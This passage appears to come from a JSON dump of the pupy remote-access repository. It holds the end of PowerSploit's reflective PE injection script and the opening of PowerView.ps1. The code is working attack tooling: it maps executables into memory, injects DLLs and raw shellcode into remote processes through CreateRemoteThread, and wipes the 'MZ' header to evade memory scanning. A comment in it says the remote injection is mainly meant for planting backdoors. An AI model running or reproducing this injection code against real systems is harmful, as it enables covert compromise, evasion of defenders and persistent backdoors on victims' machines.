to a random memory address\n        Write-Verbose \"Allocating memory for the PE and write its headers to memory\"\n\n        #ASLR check\n        [IntPtr]$LoadAddr = [IntPtr]::Zero\n        $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n        if ((-not $ForceASLR) -and (-not $PESupportsASLR))\n        {\n            Write-Warning \"PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)\" -WarningAction Continue\n            [IntPtr]$LoadAddr = $OriginalImageBase\n        }\n        elseif ($ForceASLR -and (-not $PESupportsASLR))\n        {\n            Write-Verbose \"PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash.\"\n        }\n\n        if ($ForceASLR -and $RemoteLoading)\n        {\n            Write-Error \"Cannot use ForceASLR when loading in to a remote process.\" -ErrorAction Stop\n        }\n        if ($RemoteLoading -and (-not $PESupportsASLR))\n        {\n            Write-Error \"PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process\" -ErrorAction Stop\n        }\n\n        $PEHandle = [IntPtr]::Zero              #This is where the PE is allocated in PowerShell\n        $EffectivePEHandle = [IntPtr]::Zero     #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.\n        if ($RemoteLoading -eq $true)\n        {\n            #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup\n            $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)\n\n            #todo, error handling needs to delete this memory if an error happens along the way\n            $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)\n            if ($EffectivePEHandle -eq [IntPtr]::Zero)\n            {\n                Throw \"Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use\"\n            }\n        }\n        else\n        {\n            if ($NXCompatible -eq $true)\n            {\n                $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)\n            }\n            else\n            {\n                $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)\n            }\n            $EffectivePEHandle = $PEHandle\n        }\n\n        [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)\n        if ($PEHandle -eq [IntPtr]::Zero)\n        {\n            Throw \"VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free).\"\n        }\n        [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null\n\n\n        #Now that the PE is in memory, get more detailed information about it\n        Write-Verbose \"Getting detailed PE information from the headers loaded in memory\"\n        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants\n        $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress\n        $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle\n        Write-Verbose \"StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress)\"\n\n\n        #Copy each section from the PE in to memory\n        Write-Verbose \"Copy PE sections in to memory\"\n        Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types\n\n\n        #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded\n        Write-Verbose \"Update memory addresses based on where the PE was actually loaded in memory\"\n        Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types\n\n\n        #The PE we are in-memory loading has DLLs it needs, import those DLLs for it\n        Write-Verbose \"Import DLL's needed by the PE we are loading\"\n        if ($RemoteLoading -eq $true)\n        {\n            Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle\n        }\n        else\n        {\n            Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants\n        }\n\n\n        #Update the memory protection flags for all the memory just allocated\n        if ($RemoteLoading -eq $false)\n        {\n            if ($NXCompatible -eq $true)\n            {\n                Write-Verbose \"Update memory protection flags\"\n                Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types\n            }\n            else\n            {\n                Write-Verbose \"PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute\"\n            }\n        }\n        else\n        {\n            Write-Verbose \"PE being loaded in to a remote process, not adjusting memory permissions\"\n        }\n\n\n        #If remote loading, copy the DLL in to remote process memory\n        if ($RemoteLoading -eq $true)\n        {\n            [UInt32]$NumBytesWritten = 0\n            $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)\n            if ($Success -eq $false)\n            {\n                Throw \"Unable to write shellcode to remote process memory.\"\n            }\n        }\n\n\n        #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function\n        if ($PEInfo.FileType -ieq \"DLL\")\n        {\n            if ($RemoteLoading -eq $false)\n            {\n                Write-Verbose \"Calling dllmain so the DLL knows it has been loaded\"\n                $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)\n                $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])\n                $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)\n\n                $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr] 2) | Out-Null\n            }\n            else\n            {\n                $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)\n\n                if ($PEInfo.PE64Bit -eq $true)\n                {\n                    #Shellcode: CallDllMain.asm\n                    $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)\n                    $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)\n                    $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)\n                }\n                else\n                {\n                    #Shellcode: CallDllMain.asm\n                    $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)\n                    $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)\n                    $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)\n                }\n                $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)\n                $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)\n                $SCPSMemOriginal = $SCPSMem\n\n                Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem\n                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)\n                [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)\n                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)\n                Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem\n                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)\n                [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)\n                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)\n                Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem\n                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)\n\n                $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)\n                if ($RSCAddr -eq [IntPtr]::Zero)\n                {\n                    Throw \"Unable to allocate memory in the remote process for shellcode\"\n                }\n\n                $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)\n                if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))\n                {\n                    Throw \"Unable to write shellcode to remote process memory.\"\n                }\n\n                $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions\n                $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)\n                if ($Result -ne 0)\n                {\n                    Throw \"Call to CreateRemoteThread to call GetProcAddress failed.\"\n                }\n\n                $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null\n            }\n        }\n        elseif ($PEInfo.FileType -ieq \"EXE\")\n        {\n            #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process\n            [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)\n            [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)\n            $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr\n\n            #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread\n            #   This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.\n            [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)\n            Write-Verbose \"Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in.\"\n\n            $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null\n\n            while($true)\n            {\n                [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)\n                if ($ThreadDone -eq 1)\n                {\n                    Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants\n                    Write-Verbose \"EXE thread has completed.\"\n                    break\n                }\n                else\n                {\n                    Start-Sleep -Seconds 1\n                }\n            }\n        }\n\n        return @($PEInfo.PEHandle, $EffectivePEHandle)\n    }\n\n\n    Function Invoke-MemoryFreeLibrary\n    {\n        Param(\n        [Parameter(Position=0, Mandatory=$true)]\n        [IntPtr]\n        $PEHandle\n        )\n\n        #Get Win32 constants and functions\n        $Win32Constants = Get-Win32Constants\n        $Win32Functions = Get-Win32Functions\n        $Win32Types = Get-Win32Types\n\n        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants\n\n        #Call FreeLibrary for all the imports of the DLL\n        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)\n        {\n            [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)\n\n            while ($true)\n            {\n                $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)\n\n                #If the structure is null, it signals that this is the end of the array\n                if ($ImportDescriptor.Characteristics -eq 0 `\n                        -and $ImportDescriptor.FirstThunk -eq 0 `\n                        -and $ImportDescriptor.ForwarderChain -eq 0 `\n                        -and $ImportDescriptor.Name -eq 0 `\n                        -and $ImportDescriptor.TimeDateStamp -eq 0)\n                {\n                    Write-Verbose \"Done unloading the libraries needed by the PE\"\n                    break\n                }\n\n                $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))\n                $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)\n\n                if ($ImportDllHandle -eq $null)\n                {\n                    Write-Warning \"Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways\" -WarningAction Continue\n                }\n\n                $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)\n                if ($Success -eq $false)\n                {\n                    Write-Warning \"Unable to free library: $ImportDllPath. Continuing anyways.\" -WarningAction Continue\n                }\n\n                $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))\n            }\n        }\n\n        #Call DllMain with process detach\n        Write-Verbose \"Calling dllmain so the DLL knows it is being unloaded\"\n        $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)\n        $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])\n        $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)\n\n        $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null\n\n\n        $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)\n        if ($Success -eq $false)\n        {\n            Write-Warning \"Unable to call VirtualFree on the PE's memory. Continuing anyways.\" -WarningAction Continue\n        }\n    }\n\n\n    Function Main\n    {\n        $Win32Functions = Get-Win32Functions\n        $Win32Types = Get-Win32Types\n        $Win32Constants =  Get-Win32Constants\n\n        $RemoteProcHandle = [IntPtr]::Zero\n\n        #If a remote process to inject in to is specified, get a handle to it\n        if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne \"\"))\n        {\n            Throw \"Can't supply a ProcId and ProcName, choose one or the other\"\n        }\n        elseif ($ProcName -ne $null -and $ProcName -ne \"\")\n        {\n            $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)\n            if ($Processes.Count -eq 0)\n            {\n                Throw \"Can't find process $ProcName\"\n            }\n            elseif ($Processes.Count -gt 1)\n            {\n                $ProcInfo = Get-Process | Where-Object { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId\n                Write-Output $ProcInfo\n                Throw \"More than one instance of $ProcName found, please specify the process ID to inject in to.\"\n            }\n            else\n            {\n                $ProcId = $Processes[0].ID\n            }\n        }\n\n        #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.\n        #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege\n#       if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)\n#       {\n#           Write-Verbose \"Getting SeDebugPrivilege\"\n#           Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants\n#       }\n\n        if (($ProcId -ne $null) -and ($ProcId -ne 0))\n        {\n            $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)\n            if ($RemoteProcHandle -eq [IntPtr]::Zero)\n            {\n                Throw \"Couldn't obtain the handle for process ID: $ProcId\"\n            }\n\n            Write-Verbose \"Got the handle for the remote process to inject in to\"\n        }\n\n\n        #Load the PE reflectively\n        Write-Verbose \"Calling Invoke-MemoryLoadLibrary\"\n        $PEHandle = [IntPtr]::Zero\n        if ($RemoteProcHandle -eq [IntPtr]::Zero)\n        {\n            $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR\n        }\n        else\n        {\n            $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR\n        }\n        if ($PELoadedInfo -eq [IntPtr]::Zero)\n        {\n            Throw \"Unable to load PE, handle returned is NULL\"\n        }\n\n        $PEHandle = $PELoadedInfo[0]\n        $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process\n\n\n        #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.\n        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants\n        if (($PEInfo.FileType -ieq \"DLL\") -and ($RemoteProcHandle -eq [IntPtr]::Zero))\n        {\n            #########################################\n            ### YOUR CODE GOES HERE\n            #########################################\n            switch ($FuncReturnType)\n            {\n                'WString' {\n                    Write-Verbose \"Calling function with WString return type\"\n                    [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName \"WStringFunc\"\n                    if ($WStringFuncAddr -eq [IntPtr]::Zero)\n                    {\n                        Throw \"Couldn't find function address.\"\n                    }\n                    $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])\n                    $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)\n                    [IntPtr]$OutputPtr = $WStringFunc.Invoke()\n                    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)\n                    Write-Output $Output\n                }\n\n                'String' {\n                    Write-Verbose \"Calling function with String return type\"\n                    [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName \"StringFunc\"\n                    if ($StringFuncAddr -eq [IntPtr]::Zero)\n                    {\n                        Throw \"Couldn't find function address.\"\n                    }\n                    $StringFuncDelegate = Get-DelegateType @() ([IntPtr])\n                    $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)\n                    [IntPtr]$OutputPtr = $StringFunc.Invoke()\n                    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)\n                    Write-Output $Output\n                }\n\n                'Void' {\n                    Write-Verbose \"Calling function with Void return type\"\n                    [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName \"Launch\"\n                    if ($VoidFuncAddr -eq [IntPtr]::Zero)\n                    {\n                        Throw \"Couldn't find function address.\"\n                    }\n                    $VoidFuncDelegate = Get-DelegateType @() ([Void])\n                    $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)\n                    $VoidFunc.Invoke() | Out-Null\n                }\n            }\n            #########################################\n            ### END OF YOUR CODE\n            #########################################\n        }\n        #For remote DLL injection, call a void function which takes no parameters\n        elseif (($PEInfo.FileType -ieq \"DLL\") -and ($RemoteProcHandle -ne [IntPtr]::Zero))\n        {\n            $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName \"VoidFunc\"\n            if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))\n            {\n                Throw \"VoidFunc couldn't be found in the DLL\"\n            }\n\n            $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle\n            $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle\n\n            #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors\n            $Null = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions\n        }\n\n        #Don't free a library if it is injected in a remote process or if it is an EXE.\n        #Note that all DLL's loaded by the EXE will remain loaded in memory.\n        if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq \"DLL\")\n        {\n            Invoke-MemoryFreeLibrary -PEHandle $PEHandle\n        }\n        else\n        {\n            #Delete the PE file from memory.\n            $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)\n            if ($Success -eq $false)\n            {\n                Write-Warning \"Unable to call VirtualFree on the PE's memory. Continuing anyways.\" -WarningAction Continue\n            }\n        }\n\n        Write-Verbose \"Done!\"\n    }\n\n    Main\n}\n\n#Main function to either run the script locally or remotely\nFunction Main\n{\n    if (($PSCmdlet.MyInvocation.BoundParameters[\"Debug\"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters[\"Debug\"].IsPresent)\n    {\n        $DebugPreference  = \"Continue\"\n    }\n\n    Write-Verbose \"PowerShell ProcessID: $PID\"\n\n    #Verify the image is a valid PE file\n    $e_magic = ($PEBytes[0..1] | ForEach-Object {[Char] $_}) -join ''\n\n    if ($e_magic -ne 'MZ')\n    {\n        throw 'PE is not a valid PE file.'\n    }\n\n    if (-not $DoNotZeroMZ) {\n        # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg\n        # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.\n        $PEBytes[0] = 0\n        $PEBytes[1] = 0\n    }\n\n    #Add a \"program name\" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)\n    if ($ExeArgs -ne $null -and $ExeArgs -ne '')\n    {\n        $ExeArgs = \"ReflectiveExe $ExeArgs\"\n    }\n    else\n    {\n        $ExeArgs = \"ReflectiveExe\"\n    }\n\n    if ($ComputerName -eq $null -or $ComputerName -imatch \"^\\s*$\")\n    {\n        Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)\n    }\n    else\n    {\n        Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName\n    }\n}\n\nMain\n}\n"
  },
  {
    "path": "pupy/external/PowerSploit/Recon/PowerView.ps1",
    "content": "#requires -version 2\n\n<#\n\n    PowerSploit File: PowerView.ps1\n    Author: Will Schroeder (@harmj0y)\n    License: BSD 3-Clause\n    Required Dependencies: None\n    Optional Dependencies: None\n\n#>\n\n########################################################\n#\n# PSReflect code for Windows API access\n# Author: @mattifestation\n#   https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1\n#\n########################################################\n\nfunction New-InMemoryModule\n{\n<#\n    .SYNOPSIS\n\n        Creates an in-memory assembly and module\n\n        Author: Matthew Graeber (@mattifestation)\n        License: BSD 3-Clause\n        Required Dependencies: None\n        Optional Dependencies: None\n\n    .DESCRIPTION\n\n        When defining custom enums, structs, and unmanaged functions, it is\n        necessary to associate to an assembly module. This helper function\n        creates an in-memory module that can be passed to the 'enum',\n        'struct', and Add-Win32Type functions.\n\n    .PARAMETER ModuleName\n\n        Specifies the desired name for the in-memory assembly and module. If\n        ModuleName is not provided, it will default to a GUID.\n\n    .EXAMPLE\n\n        $Module = New-InMemoryModule -ModuleName Win32\n#>\n\n    Param\n    (\n        [Parameter(Position = 0)]\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $ModuleName = [Guid]::NewGuid().ToString()\n    )\n\n    $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()\n\n    ForEach ($Assembly in $LoadedAssemblies) {\n        if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {\n            return $Assembly\n        }\n    }\n\n    $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)\n    $Domain = [AppDomain]::CurrentDomain\n    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')\n    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)\n\n    return $ModuleBuilder\n}\n\n\n# A helper function used to reduce typing while defining function\n# prototypes for Add-Win32Type.\nfunction func\n{\n    Param\n    (\n        [Parameter(Position = 0, Mandatory = $True)]\n        [String]\n        $DllName,\n\n        [Parameter(Position = 1, Mandatory = $True)]\n        [String]\n        $FunctionName,\n\n        [Parameter(Position = 2, Mandatory = $True)]\n        [Type]\n        $ReturnType,\n\n        [Parameter(Position = 3)]\n        [Type[]]\n        $ParameterTypes,\n\n        [Parameter(Position = 4)]\n        [Runtime.InteropServices.CallingConvention]\n        $NativeCallingConvention,\n\n        [Parameter(Position = 5)]\n        [Runtime.InteropServices.CharSet]\n        $Charset,\n\n        [Switch]\n        $SetLastError\n    )\n\n    $Properties = @{\n        DllName = $DllName\n        FunctionName = $FunctionName\n        ReturnType = $ReturnType\n    }\n\n    if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }\n    if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }\n    if ($Charset) { $Properties['Charset'] = $Charset }\n    if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }\n\n    New-Object PSObject -Property $Properties\n}\n\n\nfunction Add-Win32Type\n{\n<#\n    .SYNOPSIS\n\n        Creates a .NET type for an unmanaged Win32 function.\n\n        Author: Matthew Graeber (@mattifestation)\n        License: BSD 3-Clause\n        Required Dependencies: None\n        Optional Dependencies: func\n\n    .DESCRIPTION\n\n        Add-Win32Type enables you to easily interact with unmanaged (i.e.\n        Win32 unmanaged) functions in PowerShell. After providing\n        Add-Win32Type with a function signature, a .NET type is created\n        using reflection (i.e. csc.exe is never called like with Add-Type).\n\n        The 'func' helper function can be used to reduce typing when defining\n        multiple function definitions.\n\n    .PARAMETER DllName\n\n        The name of the DLL.\n\n    .PARAMETER FunctionName\n\n        The name of the target function.\n\n    .PARAMETER ReturnType\n\n        The return type of the function.\n\n    .PARAMETER ParameterTypes\n\n        The function parameters.\n\n    .PARAMETER NativeCallingConvention\n\n        Specifies the native calling convention of the function. Defaults to\n        stdcall.\n\n    .PARAMETER Charset\n\n        If you need to explicitly call an 'A' or 'W' Win32 function, you can\n        specify the character set.\n\n    .PARAMETER SetLastError\n\n        Indicates whether the callee calls the SetLastError Win32 API\n        function before returning from the attributed method.\n\n    .PARAMETER Module\n\n        The in-memory module that will host the functions. Use\n        New-InMemoryModule to define an in-memory module.\n\n    .PARAMETER Namespace\n\n        An optional namespace to prepend to the type. Add-Win32Type defaults\n        to a namespace consisting only of the name of the DLL.\n\n    .EXAMPLE\n\n        $Mod = New-InMemoryModule -ModuleName Win32\n\n        $FunctionDefinitions = @(\n          (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),\n          (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),\n          (func ntdll RtlGetCurrentPeb ([IntPtr]) @())\n        )\n\n        $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'\n        $Kernel32 = $Types['kernel32']\n        $Ntdll = $Types['ntdll']\n        $Ntdll::RtlGetCurrentPeb()\n        $ntdllbase = $Kernel32::GetModuleHandle('ntdll')\n        $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')\n\n    .NOTES\n\n        Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189\n\n        When defining multiple function prototypes, it is ideal to provide\n        Add-Win32Type with an array of function signatures. That way, they\n        are all incorporated into the same in-memory module.\n#>\n\n    [OutputType([Hashtable])]\n    Param(\n        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]\n        [String]\n        $DllName,\n\n        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]\n        [String]\n        $FunctionName,\n\n        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]\n        [Type]\n        $ReturnType,\n\n        [Parameter(ValueFromPipelineByPropertyName = $True)]\n        [Type[]]\n        $ParameterTypes,\n\n        [Parameter(ValueFromPipelineByPropertyName = $True)]\n        [Runtime.InteropServices.CallingConvention]\n        $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,\n\n        [Parameter(ValueFromPipelineByPropertyName = $True)]\n        [Runtime.InteropServices.CharSet]\n        $Charset = [Runtime.InteropServices.CharSet]::Auto,\n\n        